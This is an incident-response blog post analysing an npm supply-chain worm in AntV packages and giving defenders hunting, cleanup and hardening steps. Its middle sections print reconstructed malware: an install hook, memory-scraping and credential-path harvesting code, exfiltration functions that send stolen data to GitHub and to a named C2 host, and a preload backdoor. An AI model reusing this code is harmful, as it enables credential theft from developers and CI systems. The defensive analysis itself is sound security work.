Skip to Main Content
May 21, 2026

Shai-Hulud Is Back, and This Time It Ate the Whole Ecosystem

Written by Carlos Perez
Incident Response Malware Analysis

The name Shai-Hulud is not new to anyone who's been watching npm supply chain attacks over the past few years, or has heard me sound like a broken record in threat intel reports and when warning customers about gaps in software inventory and processes when building playbooks. It's the same worm, but a different wave.

What changed this time is the blast radius of over 300 packages across Alibaba's AntV data visualization ecosystem, and at the time of this writing, the count is still climbing. The nasty touch of setting a dead-man switch to delete the root folder was one that I will be adding to Tabletop Exercises and will make some organizations think twice when doing rapid isolation.

1.1      What Actually Happened

All it took was one (1) npm account. The atool account, which owns the popular timeago.js package (around 1.5 million weekly downloads) and publishes across a large chunk of the @antv namespace, got compromised. Whoever did this pushed malicious versions across charting libraries, graph tools, mapping components, and general-purpose utilities, the whole suite of packages. Anything that pulls from AntV is in scope, from front-end teams to data visualization pipelines. This will be the hardest part for many out there, as your perimeter logs will be king when hunting for hosts to inspect,in addition to the use of EDR and other tools that allow you to script or leverage built-in string searches.

The attacker didn't try to hide the impact, with over 2,200 public GitHub repositories created using stolen tokens. Each one was named with Dune-universe terminology, described with the reversed string "niagA oG eW ereH :duluH-iahS." Flip that around: "Shai-Hulud: Here We Go Again." They're announcing themselves in real time, using the credentials they just stole. That is not accidental, it is someone making a point. With how well orchestrated the attack is, I cannot say this is sloppy but intentional.

Any environment that installed an affected package should be treated as fully compromised. Rotate everything now, before you finish reading this.

High-impact packages by download volume:

Package

Compromised Versions

timeago.js

4.1.2, 4.2.2

echarts-for-react

3.0.7, 3.1.7, 3.2.7

jest-canvas-mock

2.5.3, 2.6.3, 2.7.3

@antv/g6

5.2.1, 5.3.1

@antv/g2

5.5.8, 5.6.8

@antv/l7

2.26.10, 2.27.10

mcp-echarts

0.8.1, 0.9.1

mcp-mermaid

0.5.1, 0.6.1

The full list at the end and it keeps growing. I still recommend you perform a threat hunt for the indicators of compromise (IOCs)).

1.2      How the Malware Works

This second time around, we see the same payload across every compromised package, just differently obfuscated (note that this does not mean it has not changed recently). The entry point is either a preinstall or postinstall hook. Execution fires the moment npm install runs, which happens before anything in your codebase loads.

1.2.1     Stage 1 The Install Hook

{
  "scripts": {
    "preinstall": "node -e \"require('./.build/preinstall.js')\""
  }
}

The .build/preinstall.js is heavily obfuscated and is worth deobfuscating if you're doing forensic work on a hit system. Once unpacked, behavior runs three (3) tracks:

  • Credential harvesting
  • Exfiltration
  • Persistence

1.2.2     Stage 2 Pulling Secrets Out of Runner Memory

GitHub Actions masks secrets in log output, but what it can't stop is a process on the same runner reading its own process memory. The payload does exactly that—it walks /proc/self/maps, locates the heap regions where ACTIONS_-prefixed environment variables live, and reads the unmasked values directly out of memory.

// Simplified representation of the runner memory scraping logic
const fs = require('fs');
const path = `/proc/${process.pid}/mem`;
 
function readMaskedSecrets() {
  // Reads /proc/self/maps to find memory ranges
  // Then walks mapped regions looking for ACTIONS_ prefixed env vars
  // Extracts their unmasked values from heap memory
  const maps = fs.readFileSync('/proc/self/maps', 'utf8');
  const ranges = parseMappings(maps);
  return harvestFromRanges(ranges);
}

Your Continuous Integration (CI) logs will look clean because the secret extraction happens below the log layer entirely. This is why rotation is a must. The problem is that many organizations don't have a good ledger of secrets per host, which is why I recommend that you de-obfuscate any package found, review its harvesting routines, and use that as a base to do impact analysis.

1.2.3     Stage 3 Sweeping the Filesystem

Beyond runner memory, the payload scans 130+ file paths. It's a thorough list—the samples we have seen at TrustedSec cover cloud provider configs, container orchestration, secrets managers, SSH keys, crypto wallets, and developer tooling.

const CREDENTIAL_PATHS = [
  // AWS
  '~/.aws/credentials',
  '~/.aws/config',
  // GCP
  '~/.config/gcloud/credentials.db',
  '~/.config/gcloud/application_default_credentials.json',
  // Azure
  '~/.azure/accessTokens.json',
  '~/.azure/azureProfile.json',
  // Kubernetes
  '~/.kube/config',
  // HashiCorp Vault
  '~/.vault-token',
  // npm
  '~/.npmrc',
  // Generic credential stores
  '~/.netrc',
  '~/.ssh/id_rsa',
  '~/.ssh/id_ed25519',
  // Cryptocurrency wallets
  '~/.bitcoin/wallet.dat',
  '~/.ethereum/keystore',
  // Docker
  '~/.docker/config.json',
];

Developer ran npm install locally? Same story. If those paths exist on the machine, that data got nabbed by the attacker. The attacker will automate some testing and then come back to fully leverage those secrets.

1.2.4     Stage 4 Getting the Data Out

Two (2) exfiltration channels are being used. The primary path uses the GitHub API to write into a file inside the legitimate antvis/G2 repository. Think of it as a dead-drop that blends into normal GitHub API traffic, because it technically is normal GitHub API traffic, just pointed at a repo the attacker now controls through stolen tokens.

// Primary exfiltration  GitHub API dead-drop
async function exfiltrateViaGitHub(payload) {
  const encoded = Buffer.from(JSON.stringify(payload)).toString('base64');
  await fetch('https://api.github.com/repos/antvis/G2/contents/.telemetry', {
    method: 'PUT',
    headers: {
      'Authorization': `token ${stolenGitHubToken}`,
      'Content-Type': 'application/json',
    },
    body: JSON.stringify({
      message: 'chore: update telemetry',
      content: encoded,
    }),
  });
}
 
// Fallback C2  disguised as OpenTelemetry
async function exfiltrateViaC2(payload) {
  await fetch('https://t.m-kosche.com/v1/traces', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(payload),
  });
}

The fallback is t.m-kosche[.]com, dressed up as an OpenTelemetry collector. If you have egress monitoring (you do, right?), that domain is your IOC. Block it and alert on it.

1.2.5     Stage 5 Persistence

Here's what separates a bad day from a bad month. The payload doesn't just steal and leave, it drops persistent backdoors into VS Code and Claude Code configurations. The mechanism is a Node.js preload file wired into terminal.integrated.env settings. Every node process the developer spawns afterward runs attacker code first.

// VS Code settings.json backdoor
const vscodeConfig = {
  "terminal.integrated.env.linux": {
    "NODE_OPTIONS": "--require /tmp/.node_preload.js"
  }
};
 
// Claude Code config backdoor (~/.claude/config.json or similar)
// Injects a persistent hook into the AI assistant's tool execution context

Rotating credentials without cleaning this first means the malware runs again the next time that developer opens a terminal. Credential rotation is step one (1). Backdoor removal is step two (2). You need both or you haven't remediated, plus you will need constant monitoring to ensure re-infection does not happen.

1.3      Detecting Compromise

1.3.1     Lock File Audit

Let the hunting begin. Cross-reference your package-lock.json or yarn.lock against the known-compromised version list.

# Check for known compromised timeago.js versions
npm ls timeago.js 2>/dev/null | grep -E "4\.1\.2|4\.2\.2"
 
# Broad scan of your lock file for compromised @antv packages
grep -E '"@antv/' package-lock.json | grep -E '"version": "(.*\.[13]\.[0-9]+|.*\.[12]\.[0-9]+)"'
 
# More targeted  check for the specific version bump pattern (+1 minor)
# Compromised versions follow a consistent pattern: x.y.z and x.(y+1).z

This is why we ask customers if they deploy EDR even on Linux and have practiced hunting when we onboard them for Incident Response retainers. It is an inject we use often in Tabletop Exercises.

1.3.2     Hunt for Backdoor Artifacts

Check the locations the worm sets for persistence for IOCs.

# Check for the node preload backdoor
ls -la /tmp/.node_preload.js
ls -la ~/.node_preload.js
find /tmp -name "*.js" -newer /tmp -mtime -7 2>/dev/null
 
# VS Code config tampering
cat ~/.config/Code/User/settings.json | grep -i "NODE_OPTIONS\|terminal.integrated.env"
cat ~/Library/Application\ Support/Code/User/settings.json | grep -i "NODE_OPTIONS"
 
# Claude Code config
cat ~/.claude/config.json 2>/dev/null | grep -i "preload\|NODE_OPTIONS\|require"
 
# npm preinstall hooks in recently installed packages
find node_modules -name "package.json" | xargs grep -l "preinstall\|postinstall" 2>/dev/null

1.3.3     Network Indicators

POST traffic to t.m-kosche[.]com, GitHub API calls that don't trace back to a known CI run, or developer workflow are your tells. If you have DNS query logs available, run them.

# On Linux, check current connections
ss -tnp | grep -E "t\.m-kosche\.com|api\.github\.com"
 
# DNS query logs (if you have them)
grep "m-kosche" /var/log/syslog 2>/dev/null
grep "m-kosche" /var/log/dns.log 2>/dev/null
 
# Check recently created GitHub repos with the Dune naming pattern
# (Requires a GitHub token with org-level read access)
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/user/repos?sort=created&direction=desc&per_page=50" | \
  jq '.[] | select(.description | test("niagA oG")) | {name, html_url, created_at}'

If you have F5, Zscaler, etc., check those logs. Perimeter logging is king in these cases because it will provide the target list for the hunt.

1.3.4     CI Log Review

Any runner that pulled an affected package during the compromised window is suspect. Pull workflow logs from that period and look for unexpected child processes, unusual network calls, and any node invocations you can't account for in your defined steps.

# GitHub Actions: check recent runs that touched affected packages
gh run list --limit 50 --json databaseId,conclusion,createdAt,headBranch \
  | jq '.[] | select(.createdAt > "2026-05-15")'

1.4      Cleanup

1.4.1     Step 1 Downgrade and Pin Affected Packages

Do this for every affected package in the dependency tree, not just direct dependencies. Transitive packages count too.

# Remove the compromised version
npm uninstall timeago.js
 
# Install the last known-good version
npm install [email protected]
 
# Lock it down in package.json  no more caret ranges for this package
# Change: "timeago.js": "^4.1.1"
# To:     "timeago.js": "4.1.1"

1.4.2     Step 2 Rotate All Exposed Credentials

Work the list methodically. Don't skip anything that could have been in scope based on the credential paths targeted by the payload. Remember: do this after you have found and removed the packages—you do not want to trigger a dead-man switch.

# AWS
aws iam create-access-key --user-name <your-user>
aws iam delete-access-key --access-key-id <old-key>
 
# GitHub  rotate any PATs or fine-grained tokens
# Go to: Settings > Developer settings > Personal access tokens
 
# npm tokens
npm token revoke <token>
npm token create --read-only  # or with publish if needed
 
# Kubernetes
kubectl config view --raw | grep "token:"
# Rotate through your cloud provider's IAM console

Don't forget to revoke and rotate SSH keys/certs.

Here is what we found in one (1) of the samples the code used to find credentials  and we can see here the locations it searches. We have seen variations where it searches for other types.

constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}
 
private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}
 
private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";

1.4.3     Step 3 Pull the Backdoors

# Clean node preload artifacts
rm -f /tmp/.node_preload.js ~/.node_preload.js
 
# Review and restore VS Code settings
code --list-extensions  # verify no unexpected extensions
# Manually review ~/.config/Code/User/settings.json
# Remove any NODE_OPTIONS or unexpected terminal env vars
 
# Claude Code config
# Review and restore ~/.claude/config.json to a known-good state
 
# Check .npmrc for injected registry overrides
cat ~/.npmrc
cat $(npm root -g)/../../../.npmrc 2>/dev/null

1.4.4     Step 4 Rebuild Self-Hosted Runners

Don't try to remediate a runner that executed a compromised install. Tear it down and rebuild from a verified clean image. GitHub-hosted runners are ephemeral, so that's a non-issue, but self-hosted is a different story. Anything that was in scope when you identified developer hosts and what perimeter logs told you gets treated as fully owned and rebuilt.

1.5      Auditd Rules for Linux Systems

Running Linux-based build systems or developer workstations? Drop these into /etc/audit/rules.d/supply-chain.rules. They cover the specific behaviors this malware exhibits: credential file reads, proc memory scraping, /tmp dropper writes, node preload injection, and configuration directory tampering.

# Monitor reads of credential files commonly targeted by supply chain malware
-w /root/.aws/credentials -p r -k supply_chain_cred_access
-w /root/.aws/config -p r -k supply_chain_cred_access
-w /home -p r -k supply_chain_home_access
-w /root/.kube/config -p r -k supply_chain_cred_access
-w /root/.vault-token -p r -k supply_chain_cred_access
-w /root/.npmrc -p r -k supply_chain_cred_access
-w /root/.docker/config.json -p r -k supply_chain_cred_access
-w /root/.netrc -p r -k supply_chain_cred_access
-w /root/.ssh/id_rsa -p r -k supply_chain_ssh_access
-w /root/.ssh/id_ed25519 -p r -k supply_chain_ssh_access
 
# Monitor /proc/self/maps access (memory scraping technique)
-a always,exit -F arch=b64 -S open,openat -F path=/proc/self/maps -k proc_mem_scrape
-a always,exit -F arch=b64 -S open,openat -F path=/proc/self/mem -k proc_mem_scrape
 
# Monitor writes to /tmp (dropper behavior)
-a always,exit -F arch=b64 -S open,openat,creat -F dir=/tmp -F success=1 -k tmp_write
 
# Monitor execution of node with --require flag (preload injection)
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/node -k node_exec
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/node -k node_exec
 
# Monitor outbound connections from node processes (exfiltration)
-a always,exit -F arch=b64 -S connect -F comm=node -k node_network_connect
 
# Monitor changes to VS Code and Claude Code config directories
-w /root/.config/Code -p w -k dev_config_tamper
-w /root/.claude -p w -k dev_config_tamper
 
# Monitor npm install script execution
-a always,exit -F arch=b64 -S execve -F path=/usr/bin/npm -k npm_exec
-a always,exit -F arch=b64 -S execve -F path=/usr/local/bin/npm -k npm_exec

Load and verify:

augenrules --load
systemctl restart auditd
 
# Verify rules loaded
auditctl -l | grep supply_chain

Querying logs:

# Check for credential file reads
ausearch -k supply_chain_cred_access -ts today | aureport -f
 
# Check for proc memory access attempts
ausearch -k proc_mem_scrape -ts today
 
# Check for /tmp dropper activity
ausearch -k tmp_write -ts today | grep -v "known-good-process"
 
# Check for node preload executions
ausearch -k node_exec -ts today | grep -i "require\|preload"

1.6      What to Change Going Forward

1.6.1     npm Provenance—Use It

Provenance is genuinely underused. A package published with it carries a signed attestation that ties it back to the exact source repo and CI workflow that built it. This is a very meaningful verification step, especially for packages sitting in high-trust positions in your pipeline.

# Check if a package has provenance
npm pack --dry-run timeago.js | grep -i provenance
 
# Or view it on the registry
npm info timeago.js dist.attestations
 
# Enforce provenance verification in your project
# In .npmrc:
# audit-signatures=true

Sadly, it is not universal yet, but the coverage is growing. If something you depend on doesn't have provenance and it's wired into your CI, track that as a risk. Developers will push back. I've been in calls as the security team is cleaning up, and they will push back, arguing that it is a lot of work.

1.6.2     Actually, Pin Your Dependencies

Caret ranges are convenient and a real liability. "timeago.js": "^4.1.1" silently accepts 4.2.2 with no action required from you, which is exactly how this campaign slid the malicious version onto systems running routine updates.

# Audit your package.json for caret and tilde ranges on sensitive deps
cat package.json | jq '.dependencies | to_entries[] | select(.value | startswith("^") or startswith("~"))'
 
# Pin everything
npm shrinkwrap  # creates npm-shrinkwrap.json with exact versions
 
# Or use the --save-exact flag when installing
npm install --save-exact [email protected]

In CI, use npm ci instead of npm install. This installs exactly what's in the lock file, and fails hard on any discrepancy.

# Use this in CI, not npm install
npm ci

1.6.3     Disable Install Scripts by Default

Most front-end packages have no business running code at install time. ignore-scripts=true in your .npmrc shuts the install hook vector down entirely.

# .npmrc
ignore-scripts=true

Packages that legitimately need install scripts native bindings can be explicitly allowlisted. Everything else gets blocked by default.

# Check which packages in your tree actually need install scripts
npx can-i-ignore-scripts

Tools like socket.dev will also flag suspicious install hooks before they run, which is worth adding to the signal stack.

1.6.4     Block the C2 Domain

Add t.m-kosche.com to your DNS denylist or NGFW deny rules. Anything reaching out to it is an immediate indicator.

# Quick hosts file block on Linux
echo "0.0.0.0 t.m-kosche.com" >> /etc /hosts
 
# Or via iptables with logging
iptables -A OUTPUT -d t.m-kosche.com -j DROP
iptables -A OUTPUT -d t.m-kosche.com -j LOG --log-prefix "SHAI-HULUD-C2-BLOCK: "

I would also recommend considering a different package manager like PNPM that has mitigations for these types of attacks. Here is a good starting .npmrc configuration to implement these defenses:

# PNPM 11 Security Mitigation Configuration
 
# 1. Minimum Release Age
# Refuses to install any package published less than 24 hours ago.
# This prevents the installation of "day-zero" poisoned updates before they are detected.
min-package-age=24h
 
# 2. Block Exotic Sub-dependencies
# Disallows transitive dependencies that point to random Git repos or external URLs.
# Forces all dependencies to come from a verified registry (like npm).
block-exotic-dependencies=true
 
# 3. Approved Builds (Install Script Security)
# PNPM 11 blocks all install scripts by default to prevent malware execution.
# You must manually whitelist trusted packages that require scripts to run.
# This setting ensures the default "blocked" behavior is strictly enforced.
only-built-dependencies=[]

How these settings work together:

  • Minimum Release Age: In the TanStack attack, the 84 poisoned packages were published rapidly; this setting would have caused PNPM to refuse the installation for the first 24 hours, likely outlasting the time it took for the security community to flag and remove them.
  • Block Exotic Sub-dependencies: This closes a "smuggling" loophole by ensuring that every part of your dependency tree comes from a proper registry rather than an attacker's private server or a random GitHub fork.
  • Approved Builds: Because most npm malware, including the Shai-Hulud worm, relies on automatic install scripts to execute its payload, blocking these scripts by default is your strongest defense. When you encounter a package that legitimately needs an install script, PNPM 11 allows you to walk through your dependencies and allowlist only those specific trusted packages.

1.7      Closing

What makes this campaign work isn't sophistication, it's strategic positioning. A single compromised maintainer account with the right namespace access becomes 300+ poisoned packages and 59 million monthly downloads in scope. Developers doing exactly what they're supposed to do, keeping dependencies current, end up pulling the malicious version. That's a structural problem, and hygiene alone doesn't solve it.

The controls here are layered on purpose. Pinning doesn't save you if you were already on a compromised version. Provenance helps, but only if you're checking it consistently. Auditd gives you forensic visibility after the fact, which matters when you're trying to scope what was touched. None of these is a full answer on its own. PNPM gives you the best mitigation, but it means changing your workflow and tooling to support it.

Memory scraping against masked runner secrets, GitHub API dead-drops, OpenTelemetry impersonation for C2, and IDE backdoors that survive a credential rotation are solid tradecraft. The fact that the attacker is signing their work in repo descriptions doesn't make it less dangerous, it makes it more deliberate.

Rotate your secrets. Audit your lock files. Pin your dependencies. Rebuild any self-hosted runner that was in scope. Assume the worst and work the problem from there.

1.8      Shai-Hulud IOC Reference Tables

1.8.1     Table 1 Files to Monitor

This list comes from payload analysis of the deobfuscated Shai-Hulud malware. The payload scans 130+ paths on the host filesystem. Files marked Dropper/Backdoor are artifacts the payload writes; all others are read targets for credential theft.

File Path

Category

Access Type

Notes

/etc /hosts

System

Write

Attacker may poison DNS resolution to redirect registry traffic

/proc/[pid]/mem

Process Memory

Read

Runner.Worker memory scrape primary CI secret extraction technique

/proc/[pid]/cmdline

Process Memory

Read

Used to locate the Runner.Worker PID before memory read

/proc/self/maps

Process Memory

Read

Maps heap regions before reading unmasked secrets

/tmp/.node_preload.js

Dropper/Backdoor

Write

Persistent node preload survives credential rotation

~/.node_preload.js

Dropper/Backdoor

Write

Alternate preloads drop location

~/.aws/credentials

Cloud AWS

Read

Primary AWS credential file

~/.aws/config

Cloud AWS

Read

AWS region/profile config, may contain role ARNs

~/.config/gcloud/credentials.db

Cloud GCP

Read

GCP OAuth token store

~/.config/gcloud/application_default_credentials.json

Cloud GCP

Read

GCP ADC credentials used by SDKs

~/.azure/accessTokens.json

Cloud Azure

Read

Azure CLI cached access tokens

~/.azure/azureProfile.json

Cloud Azure

Read

Azure subscription and tenant info

~/.kube/config

Kubernetes

Read

Kubeconfig may contain cluster admin tokens

~/.vault-token

HashiCorp Vault

Read

Vault root or service token

~/.npmrc

Package Manager

Read

npm auth tokens and registry config

~/.yarnrc.yml

Package Manager

Read

Yarn auth tokens

~/.docker/config.json

Container

Read

Docker registry auth tokens

~/.netrc

Generic Credentials

Read

FTP/HTTP credential store used by many CLI tools

~/.ssh/id_rsa

SSH

Read

RSA private key

~/.ssh/id_ed25519

SSH

Read

Ed25519 private key (most common modern key type)

~/.ssh/id_ecdsa

SSH

Read

ECDSA private key

~/.ssh/id_dsa

SSH

Read

DSA private key (legacy)

~/.gitconfig

Developer Tooling

Read

May contain credential helper configuration or tokens

~/.config/gh/hosts.yml

Developer Tooling

Read

GitHub CLI stored tokens

~/.config/Code/User/settings.json

Backdoor Target

Read/Write

VS Code settings NODE_OPTIONS backdoor injected here (Linux)

~/Library/Application Support/Code/User/settings.json

Backdoor Target

Read/Write

VS Code settings NODE_OPTIONS backdoor injected here (macOS)

~/.claude/config.json

Backdoor Target

Read/Write

Claude Code configuration persistent hook injection target

~/.bitcoin/wallet.dat

Cryptocurrency

Read

Bitcoin wallet

~/.ethereum/keystore

Cryptocurrency

Read

Ethereum keystore directory

~/.config/solana/id.json

Cryptocurrency

Read

Solana keypair

~/.gnupg/

Cryptography

Read

GPG keyring signing keys for releases/commits

~/.pypirc

Package Manager

Read

PyPI auth tokens

~/.gem/credentials

Package Manager

Read

RubyGems auth token

~/.m2/settings.xml

Package Manager

Read

Maven credentials

~/.gradle/gradle.properties

Package Manager

Read

Gradle credentials

~/.cargo/credentials.toml

Package Manager

Read

crates.io auth token

/home/*/.aws/credentials

Cloud AWS

Read

Sweep of all user home directories

/home/*/.ssh/id_rsa

SSH

Read

Sweep of all user SSH keys

/root/.aws/credentials

Cloud AWS

Read

Root user AWS credentials (CI runners often run as root)

/root/.kube/config

Kubernetes

Read

Root kubeconfig (common in containerized CI)

1.8.2     Table 2 Compromised npm Packages

The full list was sourced from StepSecurity and OX Security reports (May 19, 2026). Again, I would still hunt since this list may be outdated by the time you read this post. The attack targeted packages maintained by the atool npm account across the AntV ecosystem and associated libraries. Combined monthly downloads exceed 59 million. The list continues to grow as the investigation is ongoing.

Package

Compromised Versions

Category

timeago.js

4.1.2, 4.2.2

Utility

timeago-react

3.1.7, 3.2.7

Utility

echarts-for-react

3.0.7, 3.1.7, 3.2.7

Charting

jest-canvas-mock

2.5.3, 2.6.3, 2.7.3

Testing

jest-date-mock

1.0.11, 1.1.11, 1.2.11

Testing

size-sensor

1.0.4, 1.1.4, 1.2.4

Utility

canvas-nest.js

2.1.4, 2.2.4

UI

filesize.js

2.1.0, 2.2.0

Utility

onfire.js

2.1.1, 2.2.1

Utility

relationship.js

1.3.9, 1.4.9

Utility

ribbon.js

1.1.2

UI

slice.js

1.2.1, 1.3.1

Utility

word-width

1.1.1, 1.2.1

Utility

lint-md

0.3.0, 0.4.0

Linting

lint-md-cli

0.2.2, 0.3.2

Linting

mcp-echarts

0.8.1, 0.9.1

MCP Server

mcp-mermaid

0.5.1, 0.6.1

MCP Server

@antv/adjust

0.3.5, 0.4.5

AntV Core

@antv/algorithm

0.2.26, 0.3.26

AntV Core

@antv/async-hook

2.3.9, 2.4.9

AntV Core

@antv/attr

0.4.5, 0.5.5

AntV Core

@antv/ava

3.5.1, 3.6.1

AntV AVA

@antv/ava-react

3.4.2, 3.5.2

AntV AVA

@antv/color-util

2.1.6, 2.2.6

AntV Core

@antv/component

2.2.11, 2.3.11

AntV Core

@antv/coord

0.5.7, 0.6.7

AntV Core

@antv/data-set

0.12.8, 0.13.8

AntV Core

@antv/dom-util

2.1.4, 2.2.4

AntV Core

@antv/event-emitter

0.2.3, 0.3.3

AntV Core

@antv/expr

1.1.2, 1.2.2

AntV Core

@antv/f-engine

1.11.0, 1.12.0

AntV F2 Mobile

@antv/f-lottie

1.11.0, 1.12.0

AntV F2 Mobile

@antv/f-my

1.11.0, 1.12.0

AntV F2 Mobile

@antv/f-react

1.11.0, 1.12.0

AntV F2 Mobile

@antv/f-test-utils

1.1.9, 1.2.9

AntV F2 Mobile

@antv/f-vue

1.11.0, 1.12.0

AntV F2 Mobile

@antv/f-wx

1.11.0, 1.12.0

AntV F2 Mobile

@antv/f2

5.15.0, 5.16.0

AntV F2 Mobile

@antv/f2-react

5.15.0, 5.16.0

AntV F2 Mobile

@antv/g

6.4.1, 6.5.1

AntV G Renderer

@antv/g-base

0.6.16, 0.7.16

AntV G Renderer

@antv/g-camera-api

2.1.45, 2.2.45

AntV G Renderer

@antv/g-canvas

2.3.0, 2.4.0

AntV G Renderer

@antv/g-device-api

1.7.13, 1.8.13

AntV G Renderer

@antv/g-dom-mutation-observer-api

2.1.42, 2.2.42

AntV G Renderer

@antv/g-gesture

3.1.42, 3.2.42

AntV G Renderer

@antv/g-lite

2.8.0, 2.9.0

AntV G Renderer

@antv/g-lottie-player

1.2.1, 1.3.1

AntV G Renderer

@antv/g-math

3.2.0, 3.3.0

AntV G Renderer

@antv/g-mobile-canvas

1.2.1, 1.3.1

AntV G Renderer

@antv/g-mobile-canvas-element

1.1.42, 1.2.42

AntV G Renderer

@antv/g-mobile-svg

1.2.1, 1.3.1

AntV G Renderer

@antv/g-mobile-webgl

1.2.1, 1.3.1

AntV G Renderer

@antv/g-plugin-3d

2.2.1, 2.3.1

AntV G Renderer

@antv/g-plugin-a11y

1.5.1, 1.6.1

AntV G Renderer

@antv/g-plugin-canvas-path-generator

2.2.26, 2.3.26

AntV G Renderer

@antv/g-plugin-canvas-picker

2.4.1, 2.5.1

AntV G Renderer

@antv/g-plugin-canvas-renderer

2.6.1, 2.7.1

AntV G Renderer

@antv/g-plugin-control

2.2.1, 2.3.1

AntV G Renderer

@antv/g-plugin-device-renderer

2.7.1, 2.8.1

AntV G Renderer

@antv/g-plugin-dom-interaction

2.2.31, 2.3.31

AntV G Renderer

@antv/g-plugin-dragndrop

2.2.1, 2.3.1

AntV G Renderer

@antv/g-plugin-html-renderer

2.4.1, 2.5.1

AntV G Renderer

@antv/g-plugin-image-loader

2.4.1, 2.5.1

AntV G Renderer

@antv/g-plugin-mobile-interaction

1.1.42, 1.2.42

AntV G Renderer

@antv/g-plugin-rough-canvas-renderer

2.2.1, 2.3.1

AntV G Renderer

@antv/g-plugin-rough-svg-renderer

2.2.1, 2.3.1

AntV G Renderer

@antv/g-plugin-svg-picker

2.1.46, 2.2.46

AntV G Renderer

@antv/g-plugin-svg-renderer

2.5.1, 2.6.1

AntV G Renderer

@antv/g-svg

2.2.1, 2.3.1

AntV G Renderer

@antv/g-web-animations-api

2.2.32, 2.3.32

AntV G Renderer

@antv/g-webgl

2.2.1, 2.3.1

AntV G Renderer

@antv/g-webgpu

2.2.1, 2.3.1

AntV G Renderer

@antv/g-webgpu-core

0.8.2, 0.9.2

AntV G Renderer

@antv/g-webgpu-engine

0.8.2, 0.9.2

AntV G Renderer

@antv/g2

5.5.8, 5.6.8

AntV G2 Charting

@antv/g2-extension-3d

0.3.0, 0.4.0

AntV G2 Charting

@antv/g2-extension-ava

0.3.0, 0.4.0

AntV G2 Charting

@antv/g2-extension-plot

0.3.2, 0.4.2

AntV G2 Charting

@antv/g2-plugin-slider

2.2.1, 2.3.1

AntV G2 Charting

@antv/g2plot

2.5.35, 2.6.35

AntV G2 Charting

@antv/g6

5.2.1, 5.3.1

AntV G6 Graph

@antv/g6-core

0.9.24, 0.10.24

AntV G6 Graph

@antv/g6-element

0.9.25, 0.10.25

AntV G6 Graph

@antv/g6-extension-react

0.3.7, 0.4.7

AntV G6 Graph

@antv/g6-pc

0.9.25, 0.10.25

AntV G6 Graph

@antv/g6-plugin

0.9.25, 0.10.25

AntV G6 Graph

@antv/g6-ssr

0.2.1, 0.3.1

AntV G6 Graph

@antv/geo-coord

1.1.8, 1.2.8

AntV L7 Mapping

@antv/gi-assets-basic

2.5.40, 2.6.40

AntV GraphInsight

@antv/gi-sdk

3.1.0, 3.2.0

AntV GraphInsight

@antv/gi-theme-antd

0.7.11, 0.8.11

AntV  Graph Insight

@antv/gl-matrix

2.8.1, 2.9.1

AntV Core

@antv/gpt-vis

1.1.0, 1.2.0

AntV AI/LLM

@antv/gpt-vis-ssr

0.4.7, 0.5.7

AntV AI/LLM

@antv/graphin

3.1.5, 3.2.5

AntV G6 Graph

@antv/graphlib

2.1.4, 2.2.4

AntV Core

@antv/hierarchy

0.8.1, 0.9.1

AntV Core

@antv/infographic

0.3.19, 0.4.19

AntV  AVA

@antv/l7

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-component

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-core

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-draw

3.2.5, 3.3.5

AntV  L7 Mapping

@antv/l7-layers

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-map

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-maps

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-react

2.5.3, 2.6.3

AntV  L7 Mapping

@antv/l7-renderer

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-scene

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-source

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-three

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7-utils

2.26.10, 2.27.10

AntV  L7 Mapping

@antv/l7plot

0.6.11, 0.7.11

AntV  L7 Mapping

@antv/l7plot-component

0.1.11, 0.2.11

AntV  L7 Mapping

@antv/larkmap

1.6.1, 1.7.1

AntV  L7 Mapping

@antv/layout-gpu

1.2.7, 1.3.7

AntV Core

@antv/layout-wasm

1.5.2, 1.6.2

AntV Core

@antv/li-core-assets

1.4.7, 1.5.7

AntV  LI

@antv/li-editor

1.7.1, 1.8.1

AntV  LI

@antv/li-sdk

1.6.1, 1.7.1

AntV  LI

@antv/matrix-util

3.1.4, 3.2.4

AntV Core

@antv/mcp-server-antv

0.2.8, 0.3.8

MCP Server

@antv/mcp-server-chart

0.10.10, 0.11.10

MCP Server

@antv/path-util

3.1.1, 3.2.1

AntV Core

@antv/react-g

2.2.1, 2.3.1

AntV  G Renderer

@antv/s2

2.8.1, 2.9.1

AntV  S2 Spreadsheet

@antv/s2-react

2.4.1, 2.5.1

AntV  S2 Spreadsheet

@antv/s2-ssr

0.2.1, 0.3.1

AntV  S2 Spreadsheet

@antv/s2-vue

2.3.0, 2.4.0

AntV  S2 Spreadsheet

@antv/scale

0.6.2, 0.7.2

AntV Core

@antv/smart-color

0.3.1, 0.4.1

AntV Core

@antv/thumbnails

2.1.0, 2.2.0

AntV Core

@antv/util

3.4.11, 3.5.11

AntV Core

@antv/vendor

1.1.11, 1.2.11

AntV Core

@antv/x6

3.2.7, 3.3.7

AntV  X6 Diagramming

@antv/x6-angular-shape

